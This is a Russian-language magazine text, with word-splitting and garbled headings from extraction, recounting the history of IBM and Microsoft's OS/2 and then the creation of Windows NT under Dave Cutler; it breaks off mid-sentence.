весь ма тру доем кая. Обыч но круп ные ком пании, успешно заняв шие свою
нишу на рын ке, не хотят ничего менять: зачем, если день ги и так исправ но
пос тупа ют на бан ков ский счет? IBM стро ила боль шие элек трон но-вычис- 
литель ные машины для кор поратив ных заказ чиков, а к рын ку бытовых пер- 
соналок отно силась снис ходитель но и скеп тичес ки. Не потому, что не верила
в его пер спек тивы (хотя и это тоже), а потому, что у кор порации прос то
не име лось роз ничной инфраструк туры для про дажи ПК и их сер висно го
обслу жива ния, а стро ить ее с нуля казалось слиш ком нак ладным мероп- 
риятием. Руково дите ли IBM по-нас тояще му зашеве лились, толь ко ког да их
клю нул в интимное мес то жареный петух в виде Apple, Commodore и Tandy,
да и то не потому, что пер сонал ки стре митель но заво евы вали популяр ность
в качес тве домаш них компь юте ров, а потому, что они ста ли все чаще появ- 
лять ся на сто лах офис ных работ ников и спрос на мей нфрей мы начал неумо- 
лимо падать.

Лю бое железо мер тво без соф та, это прек расно понима ли в IBM. Рабочая
груп па, сос тояв шая из руково дите лей кор порации и инже неров, которые
занима лись раз вити ем про екта IBM PC, с самого начала решила не рас- 
пылять ресур сы и сос редото чить уси лия на аппа рат ной час ти будущей пер- 
сонал ки, отдав раз работ ку прог рам мно го обес печения, как ска зали бы сей- 
час, на аут сорсинг. Это ста ло очень сме лым решени ем, пос коль ку ранее
в IBM самос тоятель но про екти рова ли обо рудо вание и писали для него софт,
но имен но оно вывело в ито ге IBM PC в лидеры на рын ке ПК.

Учас тник той самой рабочей груп пы Джек Сэмс поз же вспо минал об этом
так: «При чины были внут ренни ми. У нас име лась ужас ная проб лема с судеб- 
ными иска ми от людей, утвер ждав ших, что мы укра ли их интеллек туаль ную
собс твен ность. Для нас было черес чур дорого зас тавлять наших прог- 
раммис тов смот реть код, выис кивая кус ки, которые при над лежали кому-то
дру гому, потому что ина че эти люди потом вер нулись бы к нам и ска зали, что
мы укра ли их прог раммы и зарабо тали на этом кучу денег. Мы про игра ли
серию судеб ных раз биратель ств по это му поводу и потому не хотели, что бы
новый про дукт раз рабаты вал ся людь ми из IBM. Вот почему мы обра тились
в Microsoft с пред ложени ем соз дать для нас опе раци онную сис тему».

В июле 1980 года груп па эффектив ных менед жеров из IBM десан тирова- 
лась в офи се Microsoft, и спус тя нес коль ко месяцев нап ряжен ных перего- 
воров кон тракт был под писан. К августу 1981 года, вдох новив шись QDOS
от Seattle Computer Products, Microsoft раз работа ла пер вую вер сию опе раци- 
онной сис темы с коман дной стро кой IBM PC DOS и начала про давать ее
самос тоятель но под тор говой мар кой MS-DOS. Нес мотря на наличие сво ей
собс твен ной опе раци онки, в IBM до кон ца не верили в ее успех, поэто му пер- 
вые IBM PC, помимо PC DOS, ком плек товались еще CP/M-86. Хотя понача лу
IBM PC DOS и MS-DOS были прак тичес ки иден тичны, к осе ни 1984 года в IBM
сфор мирова лась своя груп па прог раммис тов для работы над этим про ектом,
и со вре менем обе коман ды ста ли вно сить собс твен ные допол нения в ОС,
бла года ря чему в этих опе раци онных сис темах начали копить ся раз личия.

Од нако бли же к середи не 1980-х ста ло ясно: что бы успешно кон куриро- 
вать с Apple и дру гими молоды ми и амби циоз ными про изво дите лями пер- 
сональ ных компь юте ров, коман дной стро ки уже недос таточ но, тре бова лись
мно гоза дач ность и гра фичес кий интерфейс. Имен но такую опе раци онную
сис тему IBM и решила соз дать для сво ей линей ки пер сональ ных компь юте- 
ров — и сно ва в аль янсе с Microsoft.

ÐÎÆÄÅÍÈÅ «ÏÎËÓÎÑÈ»

Прин ципи аль но новую опе раци онную сис тему в IBM пла ниро вали раз- 
работать для семей ства пер сональ ных компь юте ров вто рого поколе ния
под рабочим наиме нова нием Personal System/2, или PS/2, в осно ве которых
лежал про цес сор Intel 80286. Имен но отсю да и берет свое наз вание сама
опе раци онная сис тема: Operating System/2, или OS/2, хотя бета-вер сию
называ ли CP/DOS. Сог ласно задум ке, опе раци онка дол жна была под держи- 
вать защищен ный режим, мно гоза дач ность и иметь окон ный интерфейс,
но при этом обес печивать сов мести мость со ста рыми прог рамма ми для PC
DOS и MS-DOS. Договор меж ду IBM и Microsoft о соз дании новой сис темы
был под писан в августе 1985 года: со сто роны IBM про ект воз гла вил ведущий
раз работ чик Эд Яко буч чи, а со сто роны Microsoft раз работ ку куриро вал лич но
Билл Гей тс.

Пер сонал ки вто рого поколе ния PS/2 появи лись на рын ке в 1987 году, и в
декаб ре того же года была выпуще на OS/2 1.0, но она все еще оста валась
опе раци онной сис темой с коман дной стро кой — гра фичес кий интерфейс
к «полу оси» прик рутили толь ко год спус тя в вер сии 1.1. Вмес те с тем это был
зна читель ный шаг впе ред по срав нению с MS-DOS: под OS/2 мож но было
запус кать нес коль ко прог рамм одновре мен но и перек лючать ся меж ду
задача ми нажати ем сочета ния кла виш Ctrl + Esc, опе раци онка име ла встро- 
енную под систе му API с под клю чаемы ми динами чес кими биб лиоте ками.
OS/2 под держи вала мышь и мог ла работать в защищен ном режиме, бла года- 
ря чему прог раммис ты получи ли воз можность писать работа ющие в этом
режиме прог раммы без необ ходимос ти обра щать ся нап рямую к железу
и дер гать пре рыва ния.

Меж ду тем в Microsoft парал лель но тру дились над собс твен ной гра фичес- 
кой обо лоч кой для MS-DOS под наз вани ем Windows, и тянуть два про екта
одновре мен но с каж дым днем ста нови лось все слож нее и слож нее. Вре мя
шло, сро ки под готов ки GUI для OS/2 дав но истекли, и, что бы навер стать упу- 
щен ное, а заод но сэконо мить ресур сы, в Microsoft прос то при соба чили
к OS/2 1.1 окон ный интерфейс от Windows 2.0, а в 1989 году, с выходом
Microsoft Windows 3.0, обновлен ный интерфейс из этой сис темы вмес те
с кра сивы ми псев дотрех мерны ми рамоч ками и кноп ками переко чевал
в OS/2 1.2.

Microsoft Windows 3.0 (свер ху) и IBM OS/2 1.2 (сни зу). Как говорит ся,
най ди десять отли чий

Вмес те с тем в вер сии 1.2 «полу оси» появи лись и прин ципи аль ные новин ки:
под дер жка фай ловой сис темы HPFS (до это го OS/2, как и DOS, исполь зовала
FAT), а так же опе раци онка научи лась работать в локаль ной сети на осно ве
про токо ла TCP/IP — пол ноцен ная под дер жка сетей в Windows появи лась
толь ко в вер сии 3.11 for Workgroups.

ÐÀÇÂÎÄ È ÒÀÏÎ×ÊÈ Â ÏÎÑÛËÊÅ

При мер но до 1990 года оба семей ства сис темных плат форм сущес тво вали
парал лель но, поч ти не мешая друг дру гу: Windows 2 и 3.x царс тво вала
на домаш них пер сонал ках поль зовате лей, в то вре мя как OS/2 пред почита ли
уста нав ливать на рабочих стан циях, сер верах и активно внед ряли в кор- 
поратив ных сетях. Но в кон це 1988 года Microsoft решила самос тоятель но
осво ить «кор поратив ный» сег мент рын ка, соз дав опе раци онную сис тему
для нес коль ких незави симых аппа рат ных плат форм, вклю чая IBM PC, а кон- 
крет но — компь юте ров на базе i386. Новую ОС мож но было бы исполь зовать
на рабочих стан циях и на сер верах, под клю чен ных к локаль ной сети. Про ект
наз вали New Technology (NT), и эта раз работ ка в ито ге внес ла окон чатель ный
рас кол во вза имоот ношения Microsoft и IBM.

Но основной при чиной ста ли все же раз личия в мар кетин говом под ходе
двух ком паний. Будучи гени аль ным менед жером, Гей тс сумел догово рить ся
с незави симы ми про изво дите лями и сбор щиками IBM-сов мести мых компь- 
юте ров о том, что их пер сонал ки будут пос тавлять ся поль зовате лю уже с пре- 
дус танов ленной Windows 3.1, а сто имость опе раци онной сис темы будет
вклю чена в цену машины. Кро ме того, Windows «из короб ки» под держи вала
зна читель ный ассорти мент перифе рии вро де прин теров, модемов, видео-
и зву ковых карт бла года ря обширной базе драй веров и пос тавля лась с ком- 
плек том шриф тов, поз воляв ших без проб лем офор млять кра сивые докумен- 
ты. Что еще нуж но прос тым тру жени кам офи сов?

В IBM, наобо рот, делали став ку на под дер жку толь ко обо рудо вания собс- 
твен ного про изводс тва и собс твен ных проп риетар ных шриф тов, а сама ОС
про дава лась отдель но от компь юте ра и сто ила доволь но серь езных денег.
В резуль тате к началу 1990-х Windows рас ходилась мно гомил лион ными
тиража ми, при нося Microsoft неп лохой про фит, а OS/2 зна читель но отста вала
в рей тин гах популяр ности.

Воз никали раз ногла сия и с точ ки зре ния под ходов к работе. В IBM пла тили
прог раммис там за количес тво строк кода, поэто му те ста рались вов сю,
перег ружая исходни ки OS/2 ненуж ными ком понен тами и мно гос тра нич ными
ком мента риями. Пар ни из IBM ругали май кро соф товцев за пол ное отсутс твие
пояс нений в коде, а те, наобо рот, жалова лись на то, что код их кол лег из IBM
похож на «Вой ну и мир». Сот рудни ки из Рэд монда вспо мина ли, что любые
рабочие воп росы в IBM решались месяца ми на мно гочис ленных соб рани ях,
митин гах и встре чах, даже те, которые нуж но было раз рулить по воз можнос ти
быс тро. Пос ледней кап лей ста ло тре бова ние IBM пол ностью изме нить API
опе раци онной сис темы ради под дер жки 16-бит ного сег менти рован ного
режима памяти в про цес соре Intel 80286. Эту под дер жку IBM обе щала сво им
кли ентам, покупав шим компь юте ры вто рого поколе ния во мно гом ради нее,
но она же ста вила крест на прог рам мной сов мести мос ти OS/2 и MS-DOS.
Кро ме того, OS/2 работа ла в 16-бит ном защищен ном режиме и, сле дова- 
тель но, не мог ла извлечь выгоду из более прос той 32-бит ной модели памяти
i386, что и пос лужило основной при чиной запус ка в Microsoft незави симо го
про екта NT.

Кон фликт инте ресов стал слиш ком гло баль ным, а коман да Дэй ва Кат лера,
воз гла вив шего про ект NT в Microsoft, сос тавля ла серь езную кон курен цию
груп пе раз работ чиков «полу оси» из IBM. И наконец сог лашение о сот рудни- 
чес тве в 1990 году было рас тор гну то: вся даль нейшая работа над OS/2 пол- 
ностью сос редото чилась в нед рах IBM, а сот рудни ки Microsoft, тру див шиеся
над OS/2 вер сии 2.0, переш ли в коман ду NT.

ÏÎÑËÅ MICROSOFT

Пос ледней вер сией OS/2, в соз дании которой при нима ла учас тие Microsoft,
была 1.3, она же ста ла пос ледней 16-раз рядной вер сией «полу оси». Релиз
пол ностью соб ранной в нед рах IBM OS/2 2.0 сос тоял ся в апре ле 1992 года.

Ин терфейс OS/2 2.0

При ложе ниям OS/2 2.0 пре дос тавля ла 32-раз рядный API, но часть ком понен- 
тов ядра и драй веры были еще 16-раз рядны ми. В отли чие от ОС Unix, осно- 
ван ной на прин ципе «все есть файл», OS/2 была пос тро ена сог ласно иде оло- 
гии «все есть объ ект» — и эле мен ты гра фичес кого интерфей са под наз вани- 
ем Workplace Shell, и фай лы, и ком понен ты фай ловой сис темы ОС вос при- 
нима ла как объ екты, с которы ми может вза имо дей ство вать поль зователь.

Ес ли под DOS запущен ная прог рамма пол ностью монопо лизи рова ла
ресур сы компь юте ра (и сбой в ней при водил к кра ху сис темы), то
OS/2 исполь зовала вир туаль ный режим 8086 про цес сора Intel i386 для запус- 
ка MS-DOS 5.0 и сов мести мых с ней при ложе ний в вир туаль ной машине.
Фак тичес ки внут ри OS/2 2.0 мож но было запус тить Windows 3.0, пос коль ку
сама вин да треть ей вер сии была по боль шому сче ту при ложе нием для MS-
DOS. Одна ко OS/2 не уме ла запус кать прог раммы для MS-DOS, работа ющие
в защищен ном режиме с исполь зовани ем интерфей са Virtual Control Program
Interface, или VCPI (в «полу оси» работа ли толь ко при ложе ния, под держи вав- 
шие интерфейс DPMI), а вот Windows 3.х с этим прек расно справ лялась.

Тем не менее основным кон курен том для «полу оси» на рын ке по-преж- 
нему оста валась Windows, но дис три бутив OS/2 сто ил в роз нице 195 дол- 
ларов, тог да как Windows про дава лась за 150, что, конеч но же, не добав ляло
«полу оси» очков популяр ности. Имен но поэто му раз работ чики в IBM вынуж- 
дены были все ми силами обес печивать сов мести мость сво ей ОС и Windows,
в основном с исполь зовани ем вир туаль ной машины DOS (VDM). Для это го
в OS/2 2.1 была вклю чена прак тичес ки пол ная копия Windows 3.1, при ложе ния
для которой мог ли работать в пол ноэк ранном режиме. При этом прог- 
раммис ты ста рались обес печить для поль зовате ля «бес шовность»: знач ки
Windows-при ложе ний появ лялись пря мо на рабочем сто ле OS/2, но для их
запус ка соз давалась вир туаль ная сре да с Windows-окру жени ем. Это поз- 
воляло поль зовате лям «полу оси» не покупать допол нитель ную лицен зию
на Windows у Microsoft и эко номить таким обра зом день ги. Одна ко, пос коль ку
OS/2 для обес печения сов мести мос ти запус кала толь ко сис темные ком- 
понен ты поль зователь ско го режима Windows, она не под держи вала драй- 
веры устрой ств VxD. Соот ветс твен но, прог раммы, которым тре бова лись
такие драй веры, в «полу оси» вылета ли с ошиб кой.

В Рэд монде называ ли такой под ход «попыт кой нажить ся на все объ емлю- 
щем успе хе плат формы Microsoft». В Windows 3.11 кор порация намерен но
изме нила некото рые ком понен ты юзер мода, что бы поломать воз можность
запус ка новых при ложе ний в вир туаль ной машине OS/2, — в IBM тут же
окрести ли этот демарш «пред намерен ным актом сабота жа Microsoft про тив
про дук та IBM».

В 1994 году IBM выпус тила третью, самую извес тную вер сию «полу оси»
под наз вани ем OS/2 Warp, став шую в ито ге леген дарной. Опе раци онка мог ла
пох вастать ся прин ципи аль но новым окон ным интерфей сом, под держи вала
более широкий ассорти мент обо рудо вания, вклю чала при ложе ния муль- 
тимедиа, под держи вала мно жес тво про токо лов локаль ных сетей и под клю- 
чение к интерне ту, а так же в ком плек те пос тавки имел ся уже готовый пакет
офис ных при ложе ний IBM Works.

OS/2 Warp

Са мо наз вание, как нет рудно догадать ся, IBM поза имс тво вала из кинов- 
селен ной Star Trek. Сот рудни ки ком пании вспо мина ли, что все бета-вер сии
OS/2 име ли внут ренние «кодовые име на» из «Звез дно го пути», но толь ко
это при рос ло к сис теме нас толь ко, что выб ралось в про дак шен. Мар кетоло ги
тут же вос поль зовались такой воз можностью попи арить ся и приг ласили
в качес тве ведущей пре зен тации OS/2 Warp актри су из Star Trek Кейт Мал грю.

На рын ке были пред став лены две вер сии OS/2 Warp: более дешевая
в крас ной короб ке (Red Spine) и более дорогая — в голубой (Blue Spine).
Отли чались они… под дер жкой Windows. Тем, кто выб рал «крас ную пилюлю»,
нуж но было покупать и уста нав ливать вин ду самос тоятель но, пос ле чего
OS/2 мог ла исполь зовать ее ком понен ты. Прог лотив шим «голубую пилюлю»
все нуж ные фай лы пре дос тавля лись «из короб ки».

Ин новаци онная, мощ ная, кра сивая и сов ремен ная OS/2 Warp ста ла безус- 
ловным хитом в мире IT… ров но до тех пор, пока Microsoft в кон це того же
года не пред ста вила Windows 95. Ну а появ ление Windows NT 4.0 с тем же
гра фичес ким интерфей сом силь но под порти ло экспан сию OS/2 Warp на кор- 
поратив ном рын ке.

В 1996 году IBM отве тила сво ему кон курен ту выпус ком OS/2 Warp 4 —
это была зна читель но модифи циро ван ная вер сия пре дыду щей редак ции
«полу оси» с обновлен ным интерфей сом, под дер жкой Java, фун кци ей рас- 
позна вания речи и интегри рован ным пакетом Lotus Notes.

OS/2 Warp 4

Вы пус калась так же сер верная вер сия OS/2 Warp 3 и 4, в сос тав которой вхо- 
дил IBM LAN Server. Но Windows 95 и NT 4 неумо лимо заво евы вали все боль- 
шую долю рын ка, а про дажи OS/2 падали. IBM шла на раз личные ухищ рения,
что бы любыми спо соба ми уве личить долю поль зовате лей сво ей плат формы:
так, в Великоб ритании мно готы сяч ными тиража ми рас простра нял ся бес плат- 
ный LiveCD, который вклю чал в себя пол ную, не тре бующую регис тра ции вер- 
сию OS/2 Warp, при чем без какой-либо защиты от копиро вания. Естес твен но,
диск был очень удач но «взло ман», бла года ря чему сис тему ста ло воз можно
уста новить на компь ютер и исполь зовать, не зап латив никому ни цен та.
В Авс тра лии дис три бутив OS/2 Warp бес плат но рас простра нял ся с компь- 
ютер ными жур налами. Но это не помог ло: выход Windows 98 окон чатель но
похоро нил надеж ды IBM на мировое гос подс тво в сег менте ОС для пер- 
сональ ных компь юте ров.

Те ряя рынок, в кон це 1996 года в IBM запус тили про цесс внут ренне го
ауди та про екта OS/2, резуль тат которо го однознач но сви детель ство вал:
«OS/2 — нежиз неспо соб ная опе раци онная сис тема в пла не воз можнос ти
удер жать рынок ПК». Код «полу оси» был очень раз дут и перег ружен, объ ем
пат чей и обновле ний по мегабай там пре вышал объ ем самой опе раци онной
сис темы. Кро ме того, раз работ ка велась слиш ком мед ленно из-за неп- 
равиль ной орга низа ции про изводс твен ного про цес са: как гла сил отчет, «все
отчи тыва лись перед все ми, что хаоти зиро вало при нятие решений». IBM поп- 
росту не мог ла угнать ся за Microsoft.

В ито ге в 1998 году руководс тво кор порации при няло решение сок ратить
бюд жет отде ла раз работ ки OS/2 на 95% и уво лить поряд ка 1300 прог- 
раммис тов и спе циалис тов тех ничес кой под дер жки (часть которых переш ла
потом в Microsoft). Это и ста ло кон цом исто рии «полу оси»: в 2001 году IBM
прек ратила даль нейшее раз витие OS/2. Но, как это быва ет, конец любой
исто рии — это всег да начало дру гой. О том, что про изош ло с «полу осью»
пос ле офи циаль ного зак рытия про екта, я рас ска жу в сле дующий раз.

ÇÀÊËÞ×ÅÍÈÅ

В попыт ке удер жать ся на рын ке сис темных плат форм для пер соналок
в 1995 году IBM пош ла на отча янный шаг. Осоз нав, что Microsoft ста ла фак- 
тичес ки монопо лис том в сег менте IBM PC — на минуточ ку, пер сональ ных
компь юте ров, стан дарт которых раз работа ла сама IBM, — кор порация
решила отпра вить ся по сто пам Apple и кар диналь но сме нить плат форму, осу- 
щес твив переход с про цес соров Intel на архи тек туру PowerPC. Это поз волило
бы, с одной сто роны, нак рутить хвост Бил лу Гей тсу, выпус тив на рынок новую
пер сонал ку со сво ей собс твен ной ОС, с дру гой — сос тавить кон курен цию
«Макин тошам».

Для это го в IBM запус тили раз работ ку опе раци онной сис темы для PPC
под наз вани ем Workplace OS. IBM начина ла с чис того лис та: это был совер- 
шенно новый про ект с собс твен ным мик рояд ром, который заимс тво вал лишь
неболь шую часть кода OS/2 и отдель ные ком понен ты поль зователь ско го
интерфей са. Было соб рано нес коль ко про тоти пов пер соналок IBM с про цес- 
сорами PowerPC и аль фа-вер сией Workplace OS, но кор порация вов ремя
оду малась, и про ект свер нули. Все-таки гло баль ная сме на про цес сорной
плат формы — огромный риск срод ни став ки на «зеро», на которой мож но
потерять слиш ком мно гое. Такой финт уша ми смог ла про вер нуть толь ко
Apple, при чем дваж ды. Воз можно, решись IBM идти до кон ца, в исто рии опе- 
раци онных сис тем этой ком пании откры лась бы новая стра ница.
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В этой статье нет глу боких рас сужде ний
об устрой стве опе раци онных сис тем:
управле нии памятью, пла ниро вании выпол- 
нения на CPU, о про цес сах и потоках, вво- 
де-выводе и дру гих сопутс тву ющих темах.
Зато в ней крат ко изло жена исто рия соз- 
дания опе раци онной сис темы Windows NT,
которая лежит в осно ве всех сов ремен ных
вер сий Windows.

Как ты навер няка зна ешь, до 2001 года, то есть до релиза Windows XP, сущес- 
тво вали две вет ви раз вития опе раци онной сис темы Windows: Windows, осно- 
ван ная на DOS, и Windows, осно ван ная на NT. В ито ге победи ла вто рая, став- 
шая пред ком для всех сов ремен ных вер сий Windows. Меж ду тем к Windows
на осно ве DOS отно сят ся Windows 1.0–3.0, Windows 3.1, 3.11, Windows 95,
Windows 98, Windows ME.

С Windows на осно ве DOS все понят но, к сущес тву ющей 16-раз рядной
опе раци онной сис теме MS-DOS, изна чаль но куп ленной на сто роне, прик- 
рутили гра фичес кий интерфейс. Вмес те они слу жили верой и прав дой. Одна- 
ко через некото рое вре мя в Microsoft приш ли к тому, что рано или поз дно
понадо бит ся абсо лют но новая опе раци онная сис тема, осно ван ная на 32-
бит ной архи тек туре без ста рого багажа.

Нес коль ко лет спус тя этой новой сис темой ста ла NT — для сво его вре- 
мени револю цион ная ОС. Как раз об исто рии ее соз дания и пой дет речь
в этой статье.

SHOWSTOPPER

Мне нра вит ся читать кни ги об исто рии прог рам мных про дук тов, осно вате лях
соф твер ных ком паний и прос то о людях, оста вив ших след в исто рии компь- 
ютер ной эры. В этот спи сок вхо дят такие кни ги, как «Just for Fun» Линуса Тор- 
валь дса, раз мышле ния о будущем, при над лежащие Бил лу Гей тсу, рас сужде- 
ния о прог рамми рова нии в кни ге «Мифичес кий челове ко-месяц» Фре дери ка
Брук са, «Вре мя UNIX» Брай ана Кер нигана и дру гие. До недав него вре мени
из книг это го жан ра мне боль ше все го нра вилась работа Карен Саус вик «Все
вок руг дол жны разорить ся», повес тву ющая, как ни стран но, о великом и ужас- 
ном Лар ри Элли соне.

Меж ду тем, перево рачи вая стра ницы изда ний об архи тек туре опе раци- 
онных сис тем, в кон це одно го из томиков я нат кнул ся на сле дующую ссыл ку:
Zachary, G. Pascal (1994). Showstopper! The Breakneck Race to Create Windows
NT and the Next Generation at Microsoft. Warner Books. ISBN 0-02-935671-7.
Сна чала я был удив лен: как так, я до сих пор не про читал кни гу об исто рии
соз дания одной из самых выда ющих ся опе раци онных сис тем всех вре мен
и народов? При чина вско ре ста ла для меня оче вид ной, да песнь не об этом.

Не дол гие поис ки в сети дали резуль таты: на винт моего ком па был слит
PDF-файл, содер жащий эту кни гу. Конеч но, кни ги надо покупать в магази нах
в бумаж ном виде, но меня посети ло сом нение, что в три часа ночи в бли жай- 
шем книж ном магази не нашего город ка най дет ся кни га трид цатилет ней дав- 
ности на англий ском язы ке. Короче, приш лось доволь ство вать ся тем, что
есть: не такой уж и пло хой вари ант.

INFO

Об щеиз вес тный перевод сло ва showstopper —
пред став ление, спек такль; менее рас простра нен- 
ный — нак ладка, неис прав ность. Но в дан ном кон- 
крет ном слу чае во вре мя раз работ ки сис темы NT
этим тер мином называ ли кри тичес кий баг, при- 
водив ший к сбою в работе сис темы; кро ме него,
сущес тво вали баги пер вого и вто рого при ори- 
тетов, находив шиеся пос ле showstopper.

Кни гу логич нее отнести к художес твен ному, нежели к тех ничес кому литера- 
тур ному жан ру, из-за это го лич но мне было тяжело вато ее читать. В весь ма
неболь шое количес тво стра ниц авто ру уда лось вмес тить неверо ятный объ ем
информа ции. Он вкрат це рас ска зал о биог рафии Дэвида Кат лера: о труд ном
детс тве, о его юнос ти, ког да тот занимал ся спор том, но в свя зи с тяжелой
трав мой был вынуж ден оста вить эти занятия. О его карь ере, в час тнос ти
о про межут ке жиз ни, ког да тот работал в Digital Equipment. О пот ряса ющих
успе хах компь юте ров (PDP, VAX) и опе раци онных сис темах (VMS) этой ком- 
пании. Наконец, о завер шении работы в DEC.

Ñ ×ÅÃÎ ÂÑÅ ÍÀ×ÀËÎÑÜ?

Во мно гих источни ках говорит ся о том, что в кон це вось мидеся тых Кат лер
прос то уво лил ся из Digital и перешел в Microsoft, но на самом деле это было
далеко не так. У Дэвида был тяжелый жиз ненный пери од, ког да руководс тво
DEC отверга ло мно гие его про екты сов ремен ных опе раци онных сис тем.
В это вре мя Дэйв был в Сиэт ле, где под началом Digital открыл ком панию
для раз работ ки компь юте ра PRISM и опе раци онной сис темы Mica для него.
Тем не менее эти начина ния тоже были отвер гну ты началь ством в 1988 году,
что пос тавило крест на биз несе Дэй ва.

Кат лер пре бывал в подав ленном сос тоянии. Бук валь но в нес коль ких
километ рах в Сиэт ле Билл Гей тс искал раз работ чика опе раци онных сис тем,
который мог бы руково дить про цес сом соз дания перено симой — не завися- 
щей от архи тек туры ЭВМ — опе раци онной сис темы. Он слы шал о дос тижени- 
ях Кат лера и, узнав, что тот находит ся с ним в одном городе, приг ласил
Дэвида на собесе дова ние. Кат леру, толь ко что потеряв шему биз нес, мало
что оста валось. С это го момен та и началась исто рия Windows NT. Кро ме все- 
го про чего, Дэйв с през рени ем отно сил ся к Unix, и работа в Microsoft давала
ему шанс соз дать опе раци онную сис тему, которая ока жет ся луч ше и совер- 
шеннее.

Кро ме биог рафии Дэвида Кат лера, автор рас ска зыва ет о биог рафии Гей- 
тса. Казалось бы, мож но ли узнать что-то новое об этом челове ке? Ока зыва- 
ется, мож но.

Ос новную часть кни ги автор пос вяща ет, конеч но же, раз работ ке Windows
NT, в под робнос тях опи сывая решения менед жмен та груп пы раз работ ки, вза- 
имоот ношения меж ду чле нами коман ды и про чие кар тины внут ренней кух ни
Microsoft. Мно го вни мания уде ляет ся отдель ным учас тни кам раз работ ки,
и это не толь ко прог раммис ты, но и тес теры, бил деры, тех ничес кие писате ли.
Крат ко обри сова ны их жиз ненные пути, обсто ятель ства, которые при вели их
в груп пу NT. В кни ге есть опи сание кор порации Microsoft изнутри на начало
девянос тых. Конеч но, с того вре мени мно го что изме нилось, но даже
это поража ет вооб ражение. Пря мо в кам пусах, где ведет ся раз работ ка ПО,
находи лись тре нажер ные залы, бас сей ны — всё для сот рудни ков ком пании.

Часть вла дений Microsoft, сни мок Bing Maps

Пос ле ухо да из DEC Кат лер при вел в Microsoft всю свою коман ду раз работ- 
чиков, тем самым, как замеча ет автор в эпи логе, орга низо вал ком панию внут- 
ри ком пании, и это му не помешал даже Билл Гей тс. Во мно гом от это го
и зависел будущий успех Windows NT. Кат лер окру жил себя уже зна комы ми
спе циалис тами, с которы ми он годами работал в Digital. Впос ледс твии прог- 
раммис ты из Microsoft тоже начали вли вать ся в про цесс раз работ ки, ста ли
орга низо вывать ся допол нитель ные отде лы. Нап ример, гра фичес ким отде лом
руково дил очень сво еоб разный прог раммист Whitmer, а его коман да называ- 
лась «Бес смертные» — Undead.

NT È OS/2

Ме ня всег да инте ресо вало, какое отно шение NT име ет к OS/2. Во мно гих
источни ках при водит ся доволь но раз ная информа ция, вплоть до того, что
NT — это про дол жение OS/2. Так как кни га Showstopper написа на в резуль- 
тате обще ния авто ра с непос редс твен ными раз работ чиками сис темы, мне
кажет ся, что это му источни ку мож но доверять. В кон це кни ги Захари перечис- 
ляет лиц, с которы ми он про вел интервью. Спи сок гро мад ный: фамилии рас- 
положе ны в двух стол бцах и занима ют две стра ницы. В него вхо дят не толь ко
сами сот рудни ки Microsoft, но и чле ны их семей: автор показал, как NT пов- 
лияла на лич ную жизнь учас тни ков про екта.

В кон це 1988 года совер шенно незави симо от OS/2 Дэйв Кат лер начал
раз работ ку сис темы, которую впос ледс твии мар кетоло ги окрести ли New
Technologies, сок ращен но NT. До это го вре мени в подав ляющем боль шинс тве
слу чаев опе раци онные сис темы раз рабаты вались непос редс твен но на язы ке
ассем бле ра (исклю чени ем ста ла Unix), тог да как боль шая часть NT писалась
на C. Это делалось для того, что бы обес печить перено симость сис темы
на дру гие аппа рат ные плат формы.

Тем не менее в качес тве целево го был выб ран про цес сор i386 от Intel.
Одна ко сна чала NT собира лись раз рабаты вать для про цес сора i860 —
это пред ста витель инте лов ской RISC-архи тек туры, но из-за конс трук тор ских
дефек тов раз работ ка сис темы для него была прек ращена. В течение некото- 
рого вре мени соз дание ОС и тес тирова ние парал лель но велись на архи тек- 
туре MIPS, в которой Кат лер видел будущее. Одна ко не срос лось: от ее под- 
дер жки пос ле выпус ка Windows NT 4.0 тоже отка зались. В начале раз работ ки
NT она соз давалась как обо соб ленная сис тема, не пред полага лась сов- 
мести мость ни с DOS, ни с дру гими вер сиями Windows, ни с OS/2.

Пос ле начала успешных про даж Windows 3.0 для Microsoft ста ло оче вид но,
что сов мес тный с IBM про ект опе раци онной сис темы OS/2 не оправдал
надежд, но отка зывать ся от такого союз ника им тоже не хотелось. Поэто му
под фла гом про екта OS/2 они ста ли скры вать раз работ ку NT. В это же вре мя
ста ло понят но, что для более широко го рас простра нения NT необ ходимо
добавить к ней сов мести мость с основны ми вер сиями Windows, допол нив ОС
воз можностью выпол нения написан ных для Windows 3.х при ложе ний.

Вмес те с тем OS/2 так же име ла неболь шой парк прог рамм, от под дер жки
которых в новой сис теме нель зя было отка зывать ся. Узнав об этом, Кат лер
был вне себя от злос ти. Он ска зал, что раз работ ка новой сис темы ведет ся
уже пол тора года без пред положе ния о какой-либо сов мести мос ти со ста- 
рыми ОС, вследс твие чего при дет ся вно сить изме нения в базовый код. Кста- 
ти, имен но эта обратная сов мести мость с Windows и ста ла в ито ге одним
из бедс твий, так как речь шла еще о 16-бит ной Windows, при этом NT изна- 
чаль но была 32-раз рядной. Уже перед самым релизом сис темы, обна ружив,
что ско рость выпол нения ста рых 16-раз рядных прог рамм была неудов летво- 
ритель ной, релиз нес коль ко раз откла дыва ли для вне сения изме нений.

До воль но важ ным мар кетин говым шагом со сто роны Microsoft было пере- 
име нова ние NT в Windows NT, пос коль ку изна чаль но эти две ОС позици они- 
рова лись как сис темы с прин ципи аль но раз ной архи тек турой. Кат лер силь но
ругал ся, но понимал, что усло вия, которые он имел в Microsoft, вряд ли
получит где-то еще.

Фак тичес ки работа над OS/2 была прек ращена, а про качан ные в ее про- 
цес се раз работ чики ста ли перехо дить в про ект Windows NT. Руководс тво
Microsoft про дол жало вешать лап шу на уши IBM о том, что раз работ ка
OS/2 про дол жает ся. Но однажды на оче ред ной встре че руково дите лей раз- 
работ ки опе раци онных сис тем Microsoft и IBM пос ледним была пред став лена
новая сис тема Windows NT, име ющая схо жий с Windows прог рам мный
интерфейс. Те ока зались в недо уме нии, незамед литель но доложи ли об этом
началь ству, но ничего изме нить уже не смог ли. Раз работ ка OS/2 про дол- 
жилась исклю читель но в IBM, которая так и не смог ла сде лать из нее ком- 
мерчес ки успешную опе раци онную сис тему.

Бли же к дате релиза все еще оста вал ся нерешен ным воп рос об исполь- 
зуемой фай ловой сис теме; FAT со сво ими огра ниче ниями явно не под ходила
для 32-бит ной ОС. Тог да был под нят воп рос о раз работ ке нового стан дарта.
Уди витель но, одна из самых совер шенных фай ловых сис тем — NTFS была
соз дана тре мя раз работ чиками!

Ве дущий раз работ чик ядра Mach Ричард Рашид в 1991 году при соеди нил- 
ся к Microsoft для работы над Windows NT в отде ле иссле дова ний — Microsoft
Research. Так как Кат лер про екти ровал NT, опи раясь на резуль таты, получен- 
ные при про веде нии иссле дова ний для раз работ ки Mach, Рашид сде лал нес- 
